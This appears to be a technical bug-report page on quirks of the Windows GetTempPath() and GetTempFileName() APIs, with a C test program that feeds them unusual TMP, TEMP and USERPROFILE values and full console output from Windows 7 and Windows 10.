The maximum possible return value is MAX_PATH+1 (261).
[…]
The GetTempPath function checks for the existence of environment variables in the following order and uses the first path found:
- The path specified by the TMP environment variable.
- The path specified by the TEMP environment variable.
- The path specified by the USERPROFILE environment variable.
- The Windows directory.
Creates a name for a temporary file. If a unique file name is generated, an empty file is created and the handle to it is released; otherwise, only a file name is generated.In addition to the[…]UINT GetTempFileName( LPCTSTR lpPathName, LPCTSTR lpPrefixString, UINT uUnique, LPTSTR lpTempFileName );
lpPathName
The directory path for the file name. Applications typically specify a period (.) for the current directory or the result of the GetTempPath function. The string cannot be longer than MAX_PATH−14 characters or GetTempFileName will fail.
GetTempPath()
function fails to tell that lpBuffer
can be 0 alias
NULL
if nBufferLength
is 0 too.
There’s yet another (triple) omission in that documentation:
The path specified by the […] environment variable.
needs to be read as The absolute or relative path
specified by the […] environment variable.
The default value of the system-specific environment variables
TEMP
and TMP
is
%SystemRoot%\TEMP
, and the default value of the
user-specific environment variables TEMP
and
TMP
is %USERPROFILE%\AppData\Local\Temp
,
i.e. both reference another environment variable. If this one is
undefined during creation of the environment block, the respective
substring %SystemRoot%
or %USERPROFILE%
is
not replaced with the contents of the referenced
environment variable and thus preserved. In consequence the
GetTempPath()
function returns the literal value %SystemRoot%\TEMP
or
%USERPROFILE%\AppData\Local\Temp
respectively, which
both are valid relative path names. Since a
subdirectory with this path name does almost always not exist in the
CWD, programs
which rely on the existence of the path returned from the
GetTempPath()
function are subject to fail!
Create the text file quirk11.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
const LPCWSTR szName[] = {L"TMP", L"TEMP", L"USERPROFILE"};
const LPCWSTR szValue[] = {L"",
L" ",
L" ",
L" ",
L"€",
L".\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.",
L".\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.",
L"abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz",
L"abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz",
L"..",
L"..\\..",
L"..\\..\\..",
L"..\\..\\..\\..",
L"AUX",
L"AUX:",
L"CON:",
L"NUL:",
L"PRN:"};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
WCHAR szBuffer[MAX_PATH + 2];
DWORD dwBuffer;
DWORD dwValue;
DWORD dwName = 0;
DWORD dwError = ERROR_SUCCESS;
// https://msdn.microsoft.com/en-us/library/ms683231.aspx
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
do
{
memcpy(szBuffer, L"BUG", sizeof(L"BUG"));
dwValue = 0;
do
if (!SetEnvironmentVariable(szName[dwName], szValue[dwValue]))
PrintConsole(hConsole,
L"SetEnvironmentVariable() returned error %lu\n",
dwError = GetLastError());
else
{
dwBuffer = GetTempPath(sizeof(szBuffer) / sizeof(*szBuffer),
szBuffer);
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetTempPath() returned error %lu\n",
dwError = GetLastError());
else
{
PrintConsole(hConsole,
L"GetTempPath() returned pathname \'%ls\' of %lu characters for %ls=%ls of %lu characters\n",
szBuffer, dwBuffer, szName[dwName], szValue[dwValue], wcslen(szValue[dwValue]));
if (GetTempFileName(szBuffer, L"tmp", 0, szBuffer) == 0)
PrintConsole(hConsole,
L"GetTempFileName() returned error %lu\n",
dwError = GetLastError());
else
{
PrintConsole(hConsole,
L"GetTempFileName() returned pathname \'%ls\'\n",
szBuffer);
if (!DeleteFile(szBuffer))
PrintConsole(hConsole,
L"DeleteFile() returned error %lu\n",
dwError = GetLastError());
}
}
}
while (++dwValue < sizeof(szValue) / sizeof(*szValue));
if (SetEnvironmentVariable(szName[dwName], NULL))
continue;
PrintConsole(hConsole,
L"SetEnvironmentVariable() returned error %lu\n",
dwError = GetLastError());
break;
}
while (++dwName < sizeof(szName) / sizeof(*szName));
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk11.exe
from the
source file quirk11.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk11.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk11.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk11.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk11.exe quirk11.obj kernel32.lib user32.lib
Execute the console application quirk11.exe
created in
step 1. on Windows 7 (or an earlier version):
VER .\quirk11.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Microsoft Windows [Version 6.1.7601] GetTempPath() returned pathname 'BUG' of 1 characters for TMP= of 0 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'BUG' of 1 characters for TMP= of 1 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'BUG' of 1 characters for TMP= of 2 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'BUG' of 1 characters for TMP= of 3 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\€\' of 26 characters for TMP=€ of 1 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\' of 24 characters for TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 129 characters GetTempFileName() returned pathname 'C:\Users\Stefan\Desktop\tmpB3DD.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\' of 35 characters for TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 261 characters GetTempFileName() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\tmpB3E3.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\' of 35 characters for TMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 260 characters GetTempFileName() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\tmpB3E9.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\' of 35 characters for TMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 130 characters GetTempFileName() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\tmpB3EF.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters for TMP=.. of 2 characters GetTempFileName() returned pathname 'C:\Users\Stefan\tmpB3FF.tmp' GetTempPath() returned pathname 'C:\Users\' of 9 characters for TMP=..\.. of 5 characters GetTempFileName() returned error 5 GetTempPath() returned pathname 'C:\' of 3 characters for TMP=..\..\.. of 8 characters GetTempFileName() returned pathname 'C:\tmpB401.tmp' GetTempPath() returned pathname 'C:\' of 3 characters for TMP=..\..\..\.. of 11 characters GetTempFileName() returned pathname 'C:\tmpB402.tmp' GetTempPath() returned pathname '\\.\AUX\' of 8 characters for TMP=AUX of 3 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\AUX\' of 8 characters for TMP=AUX: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\CON\' of 8 characters for TMP=CON: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\NUL\' of 8 characters for TMP=NUL: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\PRN\' of 8 characters for TMP=PRN: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'BUG' of 1 characters for TEMP= of 0 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'BUG' of 1 characters for TEMP= of 1 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'BUG' of 1 characters for TEMP= of 2 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'BUG' of 1 characters for TEMP= of 3 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\€\' of 26 characters for TEMP=€ of 1 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\' of 24 characters for TEMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 129 characters GetTempFileName() returned pathname 'C:\Users\Stefan\Desktop\tmpB55B.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters for TEMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 261 characters GetTempFileName() returned pathname 'C:\Users\Stefan\tmpB563.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters for TEMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 260 characters GetTempFileName() returned pathname 'C:\Users\Stefan\tmpB567.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters for TEMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 130 characters GetTempFileName() returned pathname 'C:\Users\Stefan\tmpB56B.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters for TEMP=.. of 2 characters GetTempFileName() returned pathname 'C:\Users\Stefan\tmpB56F.tmp' GetTempPath() returned pathname 'C:\Users\' of 9 characters for TEMP=..\.. of 5 characters GetTempFileName() returned error 5 GetTempPath() returned pathname 'C:\' of 3 characters for TEMP=..\..\.. of 8 characters GetTempFileName() returned pathname 'C:\tmpB578.tmp' GetTempPath() returned pathname 'C:\' of 3 characters for TEMP=..\..\..\.. of 11 characters GetTempFileName() returned pathname 'C:\tmpB580.tmp' GetTempPath() returned pathname '\\.\AUX\' of 8 characters for TEMP=AUX of 3 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\AUX\' of 8 characters for TEMP=AUX: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\CON\' of 8 characters for TEMP=CON: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\NUL\' of 8 characters for TEMP=NUL: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\PRN\' of 8 characters for TEMP=PRN: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'BUG' of 1 characters for USERPROFILE= of 0 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'BUG' of 1 characters for USERPROFILE= of 1 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'BUG' of 1 characters for USERPROFILE= of 2 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'BUG' of 1 characters for USERPROFILE= of 3 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\€\' of 26 characters for USERPROFILE=€ of 1 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\' of 24 characters for USERPROFILE=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 129 characters GetTempFileName() returned pathname 'C:\Users\Stefan\Desktop\tmpB6D8.tmp' GetTempPath() returned pathname 'C:\Windows\' of 11 characters for USERPROFILE=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 261 characters GetTempFileName() returned pathname 'C:\Windows\tmpB6DA.tmp' GetTempPath() returned pathname 'C:\Windows\' of 11 characters for USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 260 characters GetTempFileName() returned pathname 'C:\Windows\tmpB6DF.tmp' GetTempPath() returned pathname 'C:\Windows\' of 11 characters for USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 130 characters GetTempFileName() returned pathname 'C:\Windows\tmpB6E5.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters for USERPROFILE=.. of 2 characters GetTempFileName() returned pathname 'C:\Users\Stefan\tmpB6EB.tmp' GetTempPath() returned pathname 'C:\Users\' of 9 characters for USERPROFILE=..\.. of 5 characters GetTempFileName() returned error 5 GetTempPath() returned pathname 'C:\' of 3 characters for USERPROFILE=..\..\.. of 8 characters GetTempFileName() returned pathname 'C:\tmpB6FC.tmp' GetTempPath() returned pathname 'C:\' of 3 characters for USERPROFILE=..\..\..\.. of 11 characters GetTempFileName() returned pathname 'C:\tmpB6FD.tmp' GetTempPath() returned pathname '\\.\AUX\' of 8 characters for USERPROFILE=AUX of 3 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\AUX\' of 8 characters for USERPROFILE=AUX: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\CON\' of 8 characters for USERPROFILE=CON: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\NUL\' of 8 characters for USERPROFILE=NUL: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\PRN\' of 8 characters for USERPROFILE=PRN: of 4 characters GetTempFileName() returned error 267 0x10B (WIN32: 267 ERROR_DIRECTORY) -- 267 (267) Error message text: The directory name is invalid. CertUtil: -error command completed successfully.OUCH¹: the environment variables
TMP
, TEMP
and USERPROFILE
are
discarded on Windows 7 and earlier versions if their
value is not less than 130
(= MAX_PATH
÷ 2) characters!
OUCH²: although the directory name is valid,
GetTempFileName()
fails with Win32 error code 267 alias
ERROR_DIRECTORY
,
i.e. The directory name is invalid.
instead of
Win32 error code 3 alias
ERROR_PATH_NOT_FOUND
,
i.e. The system cannot find the path specified.
OUCH³: if the environment variables
TMP
, TEMP
or USERPROFILE
are
set to one or more spaces,
GetTempPath()
returns 1, but fails to (over)write its output buffer!
OUCH⁴: if the environment variables
TMP
, TEMP
or USERPROFILE
are
set to a DOS
device name (with or without a trailing colon),
GetTempPath()
returns the corresponding Win32 device name followed
by a backslash instead of Win32 error code 267 alias
ERROR_DIRECTORY
!
Naming Files, Paths, and Namespaces
Execute the console application quirk11.exe
created in
step 1. on Windows 8 (or a later version):
.\quirk11.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Microsoft Windows [Version 10.0.26100.1712] GetTempPath() returned pathname 'BUG of 1 characters for TMP= of 0 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'BUG' of 1 characters for TMP= of 1 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'BUG' of 1 characters for TMP= of 2 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'BUG' of 1 characters for TMP= of 3 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\€\' of 26 characters for TMP=€ of 1 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\' of 24 characters for TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 129 characters GetTempFileName() returned pathname 'C:\Users\Stefan\Desktop\tmp847C.tmp' GetTempPath() returned pathname 'C:\TEMP\' of 8 characters for TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 261 characters GetTempFileName() returned pathname 'C:\TEMP\tmp847D.tmp' GetTempPath() returned pathname '' of 285 characters for TMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 260 characters GetTempFileName() returned pathname '\tmp847E.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz\' of 155 characters for TMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 130 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\' of 15 characters for TMP=.. of 2 characters GetTempFileName() returned pathname 'C:\Users\Stefan\tmp847F.tmp' GetTempPath() returned pathname 'C:\Users\' of 9 characters for TMP=..\.. of 5 characters GetTempFileName() returned error 5 GetTempPath() returned pathname 'C:\' of 3 characters for TMP=..\..\.. of 8 characters GetTempFileName() returned pathname 'C:\tmp8481.tmp' GetTempPath() returned pathname 'C:\' of 3 characters for TMP=..\..\..\.. of 11 characters GetTempFileName() returned pathname 'C:\tmp8482.tmp' GetTempPath() returned pathname '\\.\AUX\' of 8 characters for TMP=AUX of 3 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\AUX\' of 8 characters for TMP=AUX: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\CON\' of 8 characters for TMP=CON: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\NUL\' of 8 characters for TMP=NUL: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\PRN\' of 8 characters for TMP=PRN: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'BUG' of 1 characters for TEMP= of 0 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'BUG' of 1 characters for TEMP= of 1 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'BUG' of 1 characters for TEMP= of 2 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'BUG' of 1 characters for TEMP= of 3 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\€\' of 25 characters for TEMP=€ of 1 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\' of 24 characters for TEMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 129 characters GetTempFileName() returned pathname 'C:\Users\Stefan\Desktop\tmp8483.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters for TEMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 261 characters GetTempFileName() returned pathname 'C:\Users\Stefan\tmp8484.tmp' GetTempPath() returned pathname '' of 285 characters for TEMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 260 characters GetTempFileName() returned pathname '\tmp8485.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz\' of 155 characters for TEMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 130 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters for TEMP=.. of 2 characters GetTempFileName() returned pathname 'C:\Users\Stefan\tmp8486.tmp' GetTempPath() returned pathname 'C:\Users\' of 9 characters for TEMP=..\.. of 5 characters GetTempFileName() returned error 5 GetTempPath() returned pathname 'C:\' of 3 characters for TEMP=..\..\.. of 8 characters GetTempFileName() returned pathname 'C:\tmp8488.tmp' GetTempPath() returned pathname 'C:\' of 3 characters for TEMP=..\..\..\.. of 11 characters GetTempFileName() returned pathname 'C:\tmp8489.tmp' GetTempPath() returned pathname '\\.\AUX\' of 8 characters for TEMP=AUX of 3 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\AUX\' of 8 characters for TEMP=AUX: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\CON\' of 8 characters for TEMP=CON: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\NUL\' of 8 characters for TEMP=NUL: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\PRN\' of 8 characters for TEMP=PRN: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'BUG' of 1 characters for USERPROFILE= of 0 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'BUG' of 1 characters for USERPROFILE= of 1 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'BUG' of 1 characters for USERPROFILE= of 2 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'BUG' of 1 characters for USERPROFILE= of 3 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\€\' of 25 characters for USERPROFILE=€ of 1 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\' of 24 characters for USERPROFILE=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 129 characters GetTempFileName() returned pathname 'C:\Users\Stefan\Desktop\tmp848A.tmp' GetTempPath() returned pathname 'C:\WINDOWS\' of 11 characters for USERPROFILE=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 261 characters GetTempFileName() returned pathname 'C:\WINDOWS\tmp848B.tmp' GetTempPath() returned pathname '' of 285 characters for USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 260 characters GetTempFileName() returned pathname '\tmp848C.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz\' of 155 characters for USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 130 characters GetTempFileName() returned error 267 